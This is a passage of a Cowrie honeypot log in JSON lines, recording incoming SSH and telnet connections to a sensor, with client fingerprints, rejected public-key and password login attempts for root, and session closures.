ssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:13.054920Z","src_ip":"89.37.117.103","session":"5463864b1fcf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:f1:b4:1d:d9:46:8d:f5:ed:2d:8d:c0:67:65:38:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdb3w6TKokAWJqRwZKbjaVVvjis/7WzR1HjZEe/YvrstUx8ovg9eCxl7xh/hJZKOtb7kjO8x3VPqemF/Huy3STNtmeWeGz5YMW/Sq8Uss7gN2Q5Db/Hf7hyjM/IJ4qvZlO8EbqIH899cs7HZBgKn5SUcvCz79gikvbattz0r/BLD0Z9flkRlf/nzEcg2iID37KDSndubnL/5XG0ogFV50UkqOSOoERacMYu4tc9zcMCG9rDoHs8GSTWZPrbTWTcRskLHC7e7EZvtI1rpma77aOmUUHcsZyceiwtW0lB2oZIxF0yZ2kwbXDzqRSnqyJNWCypQGniSRsdijUbYz22oYe6wsZdXbVfctI/zm2jPj90abc3UYkM+uBbpjFrKw2f9d0n2agZcTl6n2dDKFxSoiQQ43/bhl2bbfZ4Zal9pAPXXuy0dfcgnZRI+EVbXaZAncvlVillGFIpXNKZHAHdKLYLmzc8vOzMDCjEF8lcI9ZqEu059SJSXt73Ebq0qORAVRTzsS07ZPJN6CFCdhtB446BiXLR3oTsS51rXX2MB0c8DasuXwVacr10wAekdlvD5peeX6aVka81POIrMomxir0WRotxJ9JGvO3lUrxF2kfulZ7qcJs6esvW26c1Zoc5L0Hrdw61AyEeyU1peXaG3r1F+lk2EsP/WrHIPlcsHOWFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:f1:b4:1d:d9:46:8d:f5:ed:2d:8d:c0:67:65:38:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:13.676078Z","src_ip":"89.37.117.103","session":"5463864b1fcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:f1:b4:1d:d9:46:8d:f5:ed:2d:8d:c0:67:65:38:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdb3w6TKokAWJqRwZKbjaVVvjis/7WzR1HjZEe/YvrstUx8ovg9eCxl7xh/hJZKOtb7kjO8x3VPqemF/Huy3STNtmeWeGz5YMW/Sq8Uss7gN2Q5Db/Hf7hyjM/IJ4qvZlO8EbqIH899cs7HZBgKn5SUcvCz79gikvbattz0r/BLD0Z9flkRlf/nzEcg2iID37KDSndubnL/5XG0ogFV50UkqOSOoERacMYu4tc9zcMCG9rDoHs8GSTWZPrbTWTcRskLHC7e7EZvtI1rpma77aOmUUHcsZyceiwtW0lB2oZIxF0yZ2kwbXDzqRSnqyJNWCypQGniSRsdijUbYz22oYe6wsZdXbVfctI/zm2jPj90abc3UYkM+uBbpjFrKw2f9d0n2agZcTl6n2dDKFxSoiQQ43/bhl2bbfZ4Zal9pAPXXuy0dfcgnZRI+EVbXaZAncvlVillGFIpXNKZHAHdKLYLmzc8vOzMDCjEF8lcI9ZqEu059SJSXt73Ebq0qORAVRTzsS07ZPJN6CFCdhtB446BiXLR3oTsS51rXX2MB0c8DasuXwVacr10wAekdlvD5peeX6aVka81POIrMomxir0WRotxJ9JGvO3lUrxF2kfulZ7qcJs6esvW26c1Zoc5L0Hrdw61AyEeyU1peXaG3r1F+lk2EsP/WrHIPlcsHOWFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:13.679902Z","src_ip":"89.37.117.103","session":"5463864b1fcf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:4c:45:2a:f5:3c:83:cd:38:ef:b9:e9:61:a0:83:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxTMM+WDlHmwir9QjLc4NFlQ3/eDJs6eO2TfZ9uiZh5EulUZm/MYdT0uiKcEkj3anY/1pHF0CVS1ZOPV3PgSp2njJ7mGrThaVoFB+EyFwUAdSHGMVDR5R6XPSoZjhGx1t+gLAPmLOTvLM5f7ZpmhMeN3onAxq2BFPBwBW59hKlGFsJxf9QsjiaGRNzmUfIsSVTZaXsV7e5XKHhLfPwItbEFix8uXdpNIyeRwXZuHyEcYG0RjVLLkrZgvp3kVTFV27C6XVuOGFcO3891O+0SAScGF/BVO5l9ojR2W00pyXtGLZxre8TWMYMxY17MbM18y7YnKW7uAAeDVeBKm64X7EB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:4c:45:2a:f5:3c:83:cd:38:ef:b9:e9:61:a0:83:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:13.809234Z","src_ip":"89.37.117.103","session":"5463864b1fcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:4c:45:2a:f5:3c:83:cd:38:ef:b9:e9:61:a0:83:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxTMM+WDlHmwir9QjLc4NFlQ3/eDJs6eO2TfZ9uiZh5EulUZm/MYdT0uiKcEkj3anY/1pHF0CVS1ZOPV3PgSp2njJ7mGrThaVoFB+EyFwUAdSHGMVDR5R6XPSoZjhGx1t+gLAPmLOTvLM5f7ZpmhMeN3onAxq2BFPBwBW59hKlGFsJxf9QsjiaGRNzmUfIsSVTZaXsV7e5XKHhLfPwItbEFix8uXdpNIyeRwXZuHyEcYG0RjVLLkrZgvp3kVTFV27C6XVuOGFcO3891O+0SAScGF/BVO5l9ojR2W00pyXtGLZxre8TWMYMxY17MbM18y7YnKW7uAAeDVeBKm64X7EB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:13.813555Z","src_ip":"89.37.117.103","session":"5463864b1fcf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:02:02:d0:8d:d5:db:d7:05:96:62:ac:d1:b9:e4:a0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJIbU15W+HKkBFEWj3n8Wdki16UBnF95rApoN5fjdO/S","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ba:02:02:d0:8d:d5:db:d7:05:96:62:ac:d1:b9:e4:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:13.943944Z","src_ip":"89.37.117.103","session":"5463864b1fcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:02:02:d0:8d:d5:db:d7:05:96:62:ac:d1:b9:e4:a0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJIbU15W+HKkBFEWj3n8Wdki16UBnF95rApoN5fjdO/S","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:13.948080Z","src_ip":"89.37.117.103","session":"5463864b1fcf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:45:77:07:47:c6:2e:9e:18:10:11:b4:d0:79:ba:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA72CDCXy7C3b1J8C2eouyeklTm4j4qxfVQDCMyMC06Jkq/E9rRt/kGKuDXtvduXFLvcMLQzy4yK3ypo7C5OXCZBYRd8quM5l0CdTCkb7J3V1btnyb+cs85T1Gk1SblPGK6CyYOqZ8Lwo/GP9FzHUcuXmnvNckJlIl1LZqRadzf4s795h3KQB4oZFy5ITcldKkFN+XbYKYgTcr7Ms4sMaTXa9cALtQ4xnhCDfNe9tGw6A2rT+OuDNHnjvUMht3I9zi1lvzoj93zvpMTCe1UK7YxcuI5oMgOxWTrggRg3fFkix+1AlOQLv5IGVKSHgyASwU7w1ladRuTDKTSwWouzU+pw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:45:77:07:47:c6:2e:9e:18:10:11:b4:d0:79:ba:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:14.077391Z","src_ip":"89.37.117.103","session":"5463864b1fcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:45:77:07:47:c6:2e:9e:18:10:11:b4:d0:79:ba:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA72CDCXy7C3b1J8C2eouyeklTm4j4qxfVQDCMyMC06Jkq/E9rRt/kGKuDXtvduXFLvcMLQzy4yK3ypo7C5OXCZBYRd8quM5l0CdTCkb7J3V1btnyb+cs85T1Gk1SblPGK6CyYOqZ8Lwo/GP9FzHUcuXmnvNckJlIl1LZqRadzf4s795h3KQB4oZFy5ITcldKkFN+XbYKYgTcr7Ms4sMaTXa9cALtQ4xnhCDfNe9tGw6A2rT+OuDNHnjvUMht3I9zi1lvzoj93zvpMTCe1UK7YxcuI5oMgOxWTrggRg3fFkix+1AlOQLv5IGVKSHgyASwU7w1ladRuTDKTSwWouzU+pw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:14.081600Z","src_ip":"89.37.117.103","session":"5463864b1fcf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:ca:32:eb:7d:41:da:87:51:0c:bd:74:85:7d:32:55","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJP9ZUlmgPCQxu6rmdmuKq7jN08LsHD2QpL8PrXQRvLa56Ui8psm1QNjxKEb7/gXwgyQH7GG1XKKgcCKVaM8XEtzh0zI5400Dd+IT9/S14Ai1+esqEy/8adx62kt4W/1N1Sc4kbnrkk++bpj56tkQjnmNx5yTzg8kfcBU64C5xEvAAAAFQCJUkqA74vXHkYDZzymUE8+pSEocQAAAIAtJEYB9CzYp/cUAK2f5zysfFaabLvgz1ghXDYY601Ud1ioQcmaciQgQ4vsPAgm0AGzhMTuiKX/UHkpqzZVVRAa/ShVpksCRpDIExYydj4TVOH30aMr3b1YVaWXduRuT1bmrtzascOm2FQi0GH2fqHelHSw0ffcGaWQvsWu/aj7AgAAAIB8FbfhwVkJmZsb9to7iKzw4xK2SVH7l4QGzyJ68OlEouAoUyCgGwsBYV3my5M6ZIt4gJ7KgDIJx8N42IaUPRuQMgvMgLocEqz/Yh2Bs0eXv3xMvX9eTZPO2gaCNtaia5QJc6LOXfuXszO+WkvzfggMMEf1yo7Xuy/WnSEVz987/Q==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 3b:ca:32:eb:7d:41:da:87:51:0c:bd:74:85:7d:32:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:14.215968Z","src_ip":"89.37.117.103","session":"5463864b1fcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:ca:32:eb:7d:41:da:87:51:0c:bd:74:85:7d:32:55","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJP9ZUlmgPCQxu6rmdmuKq7jN08LsHD2QpL8PrXQRvLa56Ui8psm1QNjxKEb7/gXwgyQH7GG1XKKgcCKVaM8XEtzh0zI5400Dd+IT9/S14Ai1+esqEy/8adx62kt4W/1N1Sc4kbnrkk++bpj56tkQjnmNx5yTzg8kfcBU64C5xEvAAAAFQCJUkqA74vXHkYDZzymUE8+pSEocQAAAIAtJEYB9CzYp/cUAK2f5zysfFaabLvgz1ghXDYY601Ud1ioQcmaciQgQ4vsPAgm0AGzhMTuiKX/UHkpqzZVVRAa/ShVpksCRpDIExYydj4TVOH30aMr3b1YVaWXduRuT1bmrtzascOm2FQi0GH2fqHelHSw0ffcGaWQvsWu/aj7AgAAAIB8FbfhwVkJmZsb9to7iKzw4xK2SVH7l4QGzyJ68OlEouAoUyCgGwsBYV3my5M6ZIt4gJ7KgDIJx8N42IaUPRuQMgvMgLocEqz/Yh2Bs0eXv3xMvX9eTZPO2gaCNtaia5QJc6LOXfuXszO+WkvzfggMMEf1yo7Xuy/WnSEVz987/Q==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:14.220204Z","src_ip":"89.37.117.103","session":"5463864b1fcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:14.353563Z","src_ip":"89.37.117.103","session":"5463864b1fcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.61432957649231,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:17.432929Z","src_ip":"192.119.13.58","session":"d2979a8e70b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.24091458320618,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:19.188892Z","src_ip":"192.119.13.58","session":"94dfb60d36b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50956,"dst_ip":"10.17.0.5","dst_port":23,"session":"713066428923","protocol":"telnet","message":"New connection: 192.119.13.58:50956 (10.17.0.5:23) [session: 713066428923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:24.308015Z"}
{"eventid":"cowrie.session.closed","duration":31.989829063415527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:39.575129Z","src_ip":"192.119.13.58","session":"d55c0742db3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":51146,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9add6216bcd","protocol":"ssh","message":"New connection: 103.203.57.2:51146 (10.17.0.5:22) [session: f9add6216bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:54.144815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:54.148911Z","src_ip":"103.203.57.2","session":"f9add6216bcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:54.158929Z","src_ip":"103.203.57.2","session":"f9add6216bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56575,"dst_ip":"10.17.0.5","dst_port":22,"session":"b38dd88013d3","protocol":"ssh","message":"New connection: 152.42.212.128:56575 (10.17.0.5:22) [session: b38dd88013d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:59.891293Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:59.896101Z","src_ip":"152.42.212.128","session":"b38dd88013d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:51:59.899543Z","src_ip":"152.42.212.128","session":"b38dd88013d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:04.145306Z","src_ip":"103.203.57.2","session":"f9add6216bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49664,"dst_ip":"10.17.0.5","dst_port":23,"session":"5324c89efcb9","protocol":"telnet","message":"New connection: 192.119.13.58:49664 (10.17.0.5:23) [session: 5324c89efcb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:08.380094Z"}
{"eventid":"cowrie.session.closed","duration":45.25128793716431,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:09.559176Z","src_ip":"192.119.13.58","session":"713066428923","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56840,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee6a59050ee1","protocol":"telnet","message":"New connection: 192.119.13.58:56840 (10.17.0.5:23) [session: ee6a59050ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:10.120942Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42690,"dst_ip":"10.17.0.5","dst_port":23,"session":"b77c592f1bfe","protocol":"telnet","message":"New connection: 192.119.13.58:42690 (10.17.0.5:23) [session: b77c592f1bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:13.945267Z"}
{"eventid":"cowrie.session.closed","duration":120.00169706344604,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:14.628006Z","src_ip":"186.195.16.41","session":"34cf423388aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46056,"dst_ip":"10.17.0.5","dst_port":23,"session":"099b028f516e","protocol":"telnet","message":"New connection: 192.119.13.58:46056 (10.17.0.5:23) [session: 099b028f516e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:14.829473Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44426,"dst_ip":"10.17.0.5","dst_port":23,"session":"8714f2f49f24","protocol":"telnet","message":"New connection: 192.119.13.58:44426 (10.17.0.5:23) [session: 8714f2f49f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:21.971599Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":48932,"dst_ip":"10.17.0.5","dst_port":22,"session":"3479e0e9d3f4","protocol":"ssh","message":"New connection: 103.183.114.55:48932 (10.17.0.5:22) [session: 3479e0e9d3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:41.656339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:41.661269Z","src_ip":"103.183.114.55","session":"3479e0e9d3f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:41.884221Z","src_ip":"103.183.114.55","session":"3479e0e9d3f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwqwqwqw","message":"login attempt [root/qwqwqwqw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:42.617020Z","src_ip":"103.183.114.55","session":"3479e0e9d3f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:43.843472Z","src_ip":"103.183.114.55","session":"3479e0e9d3f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56036,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aad1bfd8f5b","protocol":"telnet","message":"New connection: 192.119.13.58:56036 (10.17.0.5:23) [session: 5aad1bfd8f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:46.860736Z"}
{"eventid":"cowrie.session.closed","duration":33.42490339279175,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:48.254253Z","src_ip":"192.119.13.58","session":"099b028f516e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.696595430374146,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:50.076566Z","src_ip":"192.119.13.58","session":"5324c89efcb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.49821615219116,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:51.619010Z","src_ip":"192.119.13.58","session":"ee6a59050ee1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.45332479476929,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:55.398492Z","src_ip":"192.119.13.58","session":"b77c592f1bfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":48282,"dst_ip":"10.17.0.5","dst_port":22,"session":"5216b2d21c7c","protocol":"ssh","message":"New connection: 62.133.62.83:48282 (10.17.0.5:22) [session: 5216b2d21c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:59.546553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:52:59.551152Z","src_ip":"62.133.62.83","session":"5216b2d21c7c","protocol":"ssh"}
